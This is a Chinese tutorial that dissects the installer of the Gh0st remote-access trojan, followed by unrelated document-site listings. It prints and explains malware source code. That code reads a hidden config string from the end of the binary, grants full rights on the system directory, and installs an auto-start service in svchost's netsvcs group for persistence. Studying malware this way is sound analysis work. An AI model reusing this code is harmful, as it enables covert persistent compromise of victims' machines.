Gh0st源代码详细剖析
更新时间:2023-12-28 09:02:01 阅读量: 教育文库 文档下载
- gh0st源码推荐度:
- 相关推荐
声明:
首先声明,这篇文章完全是根据自己对gh0st源代码的理解写出来的,如果有理解上的偏差或者表述上的错误本人不负责,仅供参考!
前言:
在我刚学习gh0st源代码的时候,觉得这东西好难,三个工程放在一起不说,还有那么多文件,当时就懵了。这怎么看呢?从何下手呢?我想大部分刚学习gh0st源代码的同胞们都有和我一样的想法,我废话不多说了,下面就为大家详细讲解gh0st源代码。
思路:
首先我会讲解gh0st的整体框架,包括三个工程之间的关系和每个工程的作用;然后再根据程序的执行顺序,从入口函数WinMain开始逐步向下讲解。
框架:
gh0st有三个工程,分别是gh0st、install和svchost。那么这三个工程有什么作用呢?首先gh0st这个工程,是生成控制端的一个工程,换句话说就是用MFC写的界面。但是你千万不要小看它。因为它绝不仅仅是一个界面那么简单,在这个控制端里面还包括IOCP完成端口、网络socket和控制端与服务端之间的数据传输;install这个工程较其他两个工程就简单多了,因为它只有一个.h文件和一个.cpp文件。这个工程是整个程序的入口,因为WinMain函数就在这里,它的主要功能就是生成一个exe文件,而这个exe文件的工程就是安装和启动dll里面的服务的;接下来就是第三个工程了,前面所说的dll就是这个工程。它的主要功能就是执行服务函数,并完成与控制端的通信。
所以用一句话来概括gh0st的功能就是:exe安装并启动dll里面的服务,dll执行服务并与控制端进行通信,从而实现各项远程功能。
代码解读:
首先看install这个工程:(红色部分为源代码) int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
// 让启动程序时的小漏斗马上消失 GetInputState();
PostThreadMessage(GetCurrentThreadId(),NULL,0,0); MSG msg;
GetMessage(&msg, NULL, NULL, NULL);
char *lpEncodeString = NULL; char *lpServiceConfig = NULL;
char *lpServiceDisplayName = NULL; char *lpServiceDescription = NULL;
这个WinMain函数就是程序的入口,四个参数分别是hInstance应用程序当前的实例句柄、hPrevInstance应用程序先前的实例句柄、lpCmdLine指定传给应用程序的命令行参数、nCmdShow指定窗口如何显示;首先是GetInputState()这个API函数,它的功能是要让小漏斗马上消失,这是因为以前的cpu运行速度很慢,所以当你打开一个程序的时候会有一个小
漏斗在屏幕上显示,直到程序打开漏斗才消失;然后是
PostThreadMessage(GetCurrentThreadId(),NULL,0,0)这个函数,大家首来先看GetCurrentThreadId这个函数,这个函数的功能是获得当前线程的PID,也就是获得当前正在运行线程的唯一标示符;而PostThreadMessage这个函数呢就是把当前线程的唯一标示符送入系统的消息队列中。说了半天的当前线程,那么线程究竟是什么呢?所谓线程,说白了就是计算机中正在运行的程序,那么在gh0st里面这个正在运行的程序是什么呢?其实这个正在运行的程序就是在控制端生成的服务端,也就是人们所说的木马。但是它一定是加上上线字串的,否则它是不会运行的,这个我们后面会讲到。接下来定义了几个指针变量,并赋值为NULL,下面我们会依次讲解。
lpEncodeString = (char *)FindConfigString(hInstance, \ if (lpEncodeString == NULL) {
return -1; }
下面就让我们来看一下lpEncodeString这个变量是什么意思,在看它之前呢要先看一下FindConfigString这个函数的作用。
LPCTSTR FindConfigString(HMODULE hModule, LPCTSTR lpString) {
char strFileName[MAX_PATH]; char *lpConfigString = NULL; DWORD dwBytesRead = 0;
GetModuleFileName(hModule, strFileName, sizeof(strFileName));
HANDLE hFile = CreateFile(strFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
return NULL; }
首先看这个函数的两个参数,hModule当前程序的实例句柄,lpString就是\这个字符串。后面定义了一个大小为260的字符数组和一个为空的字符串指针还有一个双字型的变量;然后调用了GetModuleFileName这个函数,这个函数就是获取一个已装载模板的完整路径名称并复制到它的第二个参数里面,也就是把服务端的完整路径保存在数组变量strFileName里面;然后调用了CreateFile这个API函数用来打开刚刚保存路径的文件,返回文件句柄。后面进行一个判断,如果文件不存在,那么返回空并跳出。 SetFilePointer(hFile, -MAX_CONFIG_LEN, NULL, FILE_END);
lpConfigString = new char[MAX_CONFIG_LEN];
ReadFile(hFile, lpConfigString, MAX_CONFIG_LEN, &dwBytesRead, NULL); CloseHandle(hFile);
接下来调用了SetFilePointer这个函数,这个函数的功能就是设置一个文件中当前的读写位置。四个参数分别是hFile系统文件句柄、-MAX_CONFIG_LEN文件偏移量、NULL通常为空、FILE_END文件结束位置。那么这个函数的意思就是将读取文件的指针设置到距离文件结束位置MAX_CONFIG_LEN=1024个字符的位置上;接下来为lpConfigString这个变量申
请一个大小为MAX_CONFIG_LEN=1024的栈空间。后面调用了ReadFile这个函数,将原来打开的文件末尾的1024个字符复制到刚刚申请的栈中;关闭原来打开的文件。
int offset = memfind(lpConfigString, lpString, MAX_CONFIG_LEN, 0); 接下来来看memfind这个函数,先看它的四个参数:lpConfigString刚刚申请的栈,里面放有文件末尾的10234个字符信息、lpString六个A的字符串、MAX_CONFIG_LEN1024、0。
int memfind(const char *mem, const char *str, int sizem, int sizes) {
int da,i,j;
if (sizes == 0) da = strlen(str);
else
da = sizes;
for (i = 0; i < sizem; i++) {
for (j = 0; j < da; j ++)
if (mem[i+j] != str[j]) break; if (j == da) return i; }
return -1; }
首先定义了三个整形变量;进行了一个判断,sizes为零那么da=6。之后是一个for循环的嵌套,外面的for循环次数为1024次,也就是那个栈中所有字符遍历一遍。里面的for循环次数为6次,接下来进行一个判断,如果栈里面的字符没有连续六个A出现,那么就跳出内部循环i++,直到找到六个A为止,返回找到六个A的为止。如果最后没有找到那么就返回-1
if (offset == -1) {
delete lpConfigString; return NULL; }
里接下来进行了一次判断,如果刚刚的memfind函数返回的是-1,那么删除栈空间,然后返回空。 else {
return lpConfigString + offset; } }
如果返回值不是空,那么返回找到六个A的为止。结束FindConfigString函数。相信现在你一定知道lpEncodeString这个变量是什么意思了,没错!它就是在原始文件中六个A的出现位置。
接下来回到WinMain函数
lpServiceConfig = (char *)FindConfigString(hInstance, \ if (lpServiceConfig == NULL) {
return -1; }
我想这段代码应该不用解释了吧,和上面的原理完全相同!要是连这段代码都看不懂,那我只能说:亲,别往下看了,回去学C语言吧!
char *pos = strchr(lpServiceConfig, '|'); if (pos == NULL) {
return -1; }
*pos = '\\0';
接下来看一下这个函数strchr,它的功能是在文件中找到第一次出现'|'的为止,并将这个位置赋值给新定义的字符指针*pos,接下来进行一个判断,如果不存在这样的位置,那么返回-1,若存在,则在'|'后面加上'\\0'进行字符串截断。 lpServiceDisplayName = MyDecode(lpServiceConfig + 6); lpServiceDescription = MyDecode(pos + 1);
if (lpServiceDisplayName == NULL || lpServiceDescription == NULL) {
return -1; }
接下来调用了两次MyDecode函数,这是作者自写的一个加密函数,加密算法可以查到,这个加密函数我就不讲了,总之这个函数的目的就是将这两个字符串加密。其实现在你应该能看出来:'CCCCCC'后面的字符串就是服务名称,而'AAAAAA'后面的字符串就是服务描述。接下来进行了一次判断,如果服务名称或者服务描述任何一个为空,程序都不会再继续执行,这就是我之前说的那个服务端一定要加上上线字串的,否则它是不会运行的! char *lpServiceName = NULL;
char *lpUpdateArgs = \
// 如果不是更新服务端
if (strstr(GetCommandLine(), lpUpdateArgs) == NULL) {
HANDLE hMutex = CreateMutex(NULL, true, lpEncodeString);
DWORD dwLastError = GetLastError();
// 普通权限访问系统权限创建的Mutex,如果存在,如果存在就返回拒绝访问的错误 // 已经安装过一个一模一样配置的,就不安装了
if (dwLastError == ERROR_ALREADY_EXISTS || dwLastError == ERROR_ACCESS_DENIED) {
return -1; }
ReleaseMutex(hMutex);
CloseHandle(hMutex); }
接下来定义了两个字符型指针变量,第一个是服务名称,下面会用到;第二个是更新服务端的一个标志字符串。接下来进行一个判断,首先看一下GetCommandLine这个API函数,它的功能是获取当前线程的命令行参数,那么if (strstr(GetCommandLine(),
lpUpdateArgs) == NULL)这句代码的意思就很明显了,就是判断在当先线程的命令行中\这个字符串的出现位置,如果没有这个字符串,那么就要创建一个指向lpEncodeString的互斥体,创建它的作用就是防止程序运行两次或者两次以上;接下来如果创建失败的话就返回失败原因,后面进行一个判断,如果互斥体已经存在或者拒绝访问则返回-1并跳出。接下来释放互斥体,关闭互斥体。
else {
// 等待服务端自删除 Sleep(5000); }
如果是更新服务端,则等待服务端自删除。 SetUnhandledExceptionFilter(bad_exception);
这是一个设置异常捕获函数。当异常没有处理的时候,系统就会调用SetUnhandledExceptionFilter所设置异常处理函数。
SetAccessRights();
这是一个设置获取系统权限的函数,接下来进入到这个函数内部看看。 void SetAccessRights()
{
char lpUserName[50], lpGroupName[100], lpDriverDirectory[MAX_PATH], lpSysDirectory[MAX_PATH];
DWORD nSize = sizeof(lpUserName);
LPLOCALGROUP_USERS_INFO_0 pBuf = NULL; DWORD dwEntriesRead = 0; DWORD dwTotalEntries = 0; NET_API_STATUS nStatus; WCHAR wUserName[100];
上面都是变量的定义,后面用到的时候再说。 ZeroMemory(lpUserName, sizeof(lpUserName));
ZeroMemory(lpDriverDirectory, sizeof(lpDriverDirectory)); ZeroMemory(lpSysDirectory, sizeof(lpSysDirectory));
GetSystemDirectory(lpSysDirectory, sizeof(lpSysDirectory));
GetUserName(lpUserName, &nSize);
接下来调用了几个ZeroMemory函数,作用是将那三个内存块清零。然后调用了GetSystemDirectory获取系统目录的完整路径并储存到lpSysDirectory这个数组中。后面调用了GetUserName函数获取当前用户名,并保存在lpUserName这个变量中。
// 设置成员权限
AddAccessRights(lpSysDirectory, lpUserName, GENERIC_ALL);
MultiByteToWideChar( CP_ACP, 0, lpUserName, -1, wUserName, sizeof(wUserName) / sizeof(wUserName[0]));
提升用户权限;将用户名转换为宽字符并保存在wUserName变量中。 nStatus = NetUserGetLocalGroups(NULL, (LPCWSTR)wUserName, 0,
LG_INCLUDE_INDIRECT, (LPBYTE *) &pBuf, MAX_PREFERRED_LENGTH, &dwEntriesRead,
&dwTotalEntries); 接下来这个函数是检索指定的用户wUserName属于哪一个组,并将得到的组名保存到结构指针变量pBuf中。 if (nStatus == NERR_Success) {
LPLOCALGROUP_USERS_INFO_0 pTmpBuf; DWORD i;
if ((pTmpBuf = pBuf) != NULL) {
for (i = 0; i < dwEntriesRead; i++) {
if (pTmpBuf == NULL) break;
WideCharToMultiByte(CP_OEMCP, 0, (LPCWSTR)pTmpBuf->lgrui0_name, -1, (LPSTR)lpGroupName, sizeof(lpGroupName), NULL, FALSE); // 设置组的权限
AddAccessRights(lpSysDirectory, lpGroupName, GENERIC_ALL); pTmpBuf++; } } }
接下来是一个判断,如果上面的检索组操作成功,那么定义一个
LPLOCALGROUP_USERS_INFO_0结构类型的指针变量pTmpBuf和双字型的变量i;接下来又是一个判断,先将用户所在的组名赋值给pTmpBuf并判断是否为空,若不为空则进入到下面的for循环。
如果pTmpBuf指向的字符为空则跳出,接下来调用WideCharToMultiByte函数将宽字符的组名转换为多字符集。最后调用AddAccessRights设置改组的权限为最高
if (pBuf != NULL) {
NetApiBufferFree(pBuf); } }
最后,释放缓冲区pBuf。
接下来请看下面的代码,个人认为这是最为关键的地方之一。
lpServiceName = InstallService(lpServiceDisplayName, lpServiceDescription, lpEncodeString);
。这句代码的功能就是安装服务,它的三个参数分别为加密过的服务名称、加密过的服务描述和未加密的六个A所在的位置。
下面看这个函数是如何实现的:
char *InstallService(LPCTSTR lpServiceDisplayName, LPCTSTR lpServiceDescription, LPCTSTR lpConfigString) {
OutputDebugString(\ // Open a handle to the SC Manager database. char *lpServiceName = NULL; int rc = 0;
HKEY hkRoot = HKEY_LOCAL_MACHINE, hkParam = 0; SC_HANDLE hscm = NULL, schService = NULL; char strModulePath[MAX_PATH]; char strSysDir[MAX_PATH]; DWORD dwStartType = 0;
上面的都是定义的变量,用到的时候再说。 try
{
char strSubKey[1024] = { 0 };
char *pSvchost = \NT\\\\CurrentVersion\\\\Svchost\
rc = RegOpenKeyEx(hkRoot, pSvchost, 0, KEY_QUERY_VALUE, &hkRoot); if(ERROR_SUCCESS != rc) {
throw \ }
接下来定义了两个变量,其中第二个变量赋值为注册表中Svchost的目录;接下来调用了RegOpenKeyEx函数来打开注册表目录
HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Svchost。后面进行一个判断,如果打开失败则跳出。
DWORD type, size = sizeof strSubKey;
rc = RegQueryValueEx(hkRoot, \&size);
RegCloseKey(hkRoot); SetLastError(rc);
if(ERROR_SUCCESS != rc)
{
throw \ }
接下来又定义了两个变量,调用了RegQueryValueEx函数来获取hkRoot路径下的
netsvcs服务组的设置值,并将它储存到缓冲区strSubKey中。接下来关闭刚刚打开的注册表路径,设置错误返回值rc并判断,如果没有取得netsvcs的设置值,那么跳出。
hscm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); if (hscm == NULL) {
throw \ }
接下来调用了OpenSCManager函数来打开服务控制管理器并将句柄赋值给hscm ,判断,如果没有打开则跳出。
GetSystemDirectory(strSysDir, sizeof(strSysDir));
char *bin = \ char strRegKey[1024] = { 0 };
接下来调用GetSystemDirectory函数获取windows系统目录的完整路径名,并将其保存在缓冲区strSysDir中。后面是两个变量的定义,要说一下bin这个变量的值是服务的可执行文件的路径名,后面的netsvcs就是该服务所在的服务组。
char strRegKey[1024];
for(ptr = strSubKey; *ptr; ptr = strchr(ptr, 0)+1) {
////////////////////////////////////////////////////////////////////////// char temp[500];
wsprintf(temp, \
rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, temp, 0, KEY_QUERY_VALUE, &hkRoot); if (rc == ERROR_SUCCESS) {
RegCloseKey(hkRoot); continue; }
memset(strModulePath, 0, sizeof(strModulePath));
wsprintf(strModulePath, \ // 删除试试
DeleteFile(strModulePath);
// 以前的服务文件没有删除之前,服务的DLL还在svchost中,所以不用这个服务 if (GetFileAttributes(strModulePath) != INVALID_FILE_ATTRIBUTES) continue;
wsprintf(strRegKey, \ptr);
schService = CreateService(
hscm, // SCManager database ptr, // name of service
lpServiceDisplayName, // service name to display SERVICE_ALL_ACCESS, // desired access SERVICE_WIN32_SHARE_PROCESS,
SERVICE_AUTO_START, // start type
SERVICE_ERROR_NORMAL, // error control type bin, // service's binary
NULL, // no load ordering group NULL, // no tag identifier NULL, // no dependencies
NULL, // LocalSystem account NULL); // no password
if (schService != NULL) break; }
if (schService == NULL)
{
lpServiceName = AddsvchostService();
memset(strModulePath, 0, sizeof(strModulePath));
wsprintf(strModulePath, \
wsprintf(strRegKey, \lpServiceName);
schService = CreateService(
hscm, // SCManager database
lpServiceName, // name of service
lpServiceDisplayName, // service name to display SERVICE_ALL_ACCESS, // desired access SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, // start type
SERVICE_ERROR_NORMAL, // error control type bin, // service's binary
NULL, // no load ordering group NULL, // no tag identifier NULL, // no dependencies NULL, // LocalSystem account NULL); // no password dwStartType = SERVICE_WIN32_OWN_PROCESS; } else {
dwStartType = SERVICE_WIN32_SHARE_PROCESS;
lpServiceName = new char[lstrlen(ptr) + 1]; lstrcpy(lpServiceName, ptr); }
if (schService == NULL)
throw \ CloseServiceHandle(schService); CloseServiceHandle(hscm);
//config service
hkRoot = HKEY_LOCAL_MACHINE;
wsprintf(strSubKey, \lpServiceName);
if (dwStartType == SERVICE_WIN32_SHARE_PROCESS)
{
DWORD dwServiceType = 0x120;
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, \*)&dwServiceType, sizeof(DWORD), 0); }
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, \*)lpServiceDescription, lstrlen(lpServiceDescription), 0);
lstrcat(strSubKey, \
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, \*)strModulePath, lstrlen(strModulePath), 0); }catch(char *str) {
if(str && str[0]) {
rc = GetLastError(); } }
RegCloseKey(hkRoot); RegCloseKey(hkParam);
CloseServiceHandle(schService); CloseServiceHandle(hscm);
if (lpServiceName != NULL) {
ReleaseResource(NULL, IDR_DLL, \ }
return lpServiceName; }
正在阅读:
Gh0st源代码详细剖析12-28
2018年入党介绍人意见范文09-08
叶向东石油化工仪表系统防雷设计-讲稿01-091012-p09-01
记者资格证考试:广播电视基础知识07-05
母语负迁移对英语教学的影响及应对策略06-11
全镇“城乡党建结对共建”行动工作方案2020年三篇09-10
我学会了坚持作文600字07-15
模糊PID控制方法研究 - 图文10-05
- exercise2
- 铅锌矿详查地质设计 - 图文
- 厨余垃圾、餐厨垃圾堆肥系统设计方案
- 陈明珠开题报告
- 化工原理精选例题
- 政府形象宣传册营销案例
- 小学一至三年级语文阅读专项练习题
- 2014.民诉 期末考试 复习题
- 巅峰智业 - 做好顶层设计对建设城市的重要意义
- (三起)冀教版三年级英语上册Unit4 Lesson24练习题及答案
- 2017年实心轮胎现状及发展趋势分析(目录)
- 基于GIS的农用地定级技术研究定稿
- 2017-2022年中国医疗保健市场调查与市场前景预测报告(目录) - 图文
- 作业
- OFDM技术仿真(MATLAB代码) - 图文
- Android工程师笔试题及答案
- 生命密码联合密码
- 空间地上权若干法律问题探究
- 江苏学业水平测试《机械基础》模拟试题
- 选课走班实施方案
- 源代码
- 剖析
- 详细
- Gh0st
- 杭州市政府投资基本建设项目代建管理费暂行标准
- 浅谈气象信息网络安全性的技术应用
- 劳动关系与社会保障实务形考册(专科)
- 2017年海南生物高考试题及答案
- 中学生守则、规范知识竞赛试题及答案
- 水电安装工程重点质量控制办法
- 2009年秋季樟井小学德育工作总结
- 新版人教B版高中数学-必修3教学案-第一章-条件语句(1)
- 人体十大最佳黄金生理时间
- 大型歌舞剧文化精品工程项目可行性研究报告
- 山东省青岛市2013届高三上学期期中考试数学(理)试题
- 浅析大学英语分级教学探索与管理
- C语言基本知识点和编程规范详解
- 《地球自转的地理意义》教学设计3
- 年产20万吨饲料项目可行性研究报告
- 建设项目报告表-宁波杭州湾新区 - 图文
- 2007年二级建造师考试《建设工程施工管理》真题及答案 - 图文
- 六年级下册品德与社会教案1.1齐心真好 - 教科版
- xx小学20XX年固定资产清查工作实施方案
- 八年级物理下册第九章力与运动第1节二力平衡同步练习1新版苏科版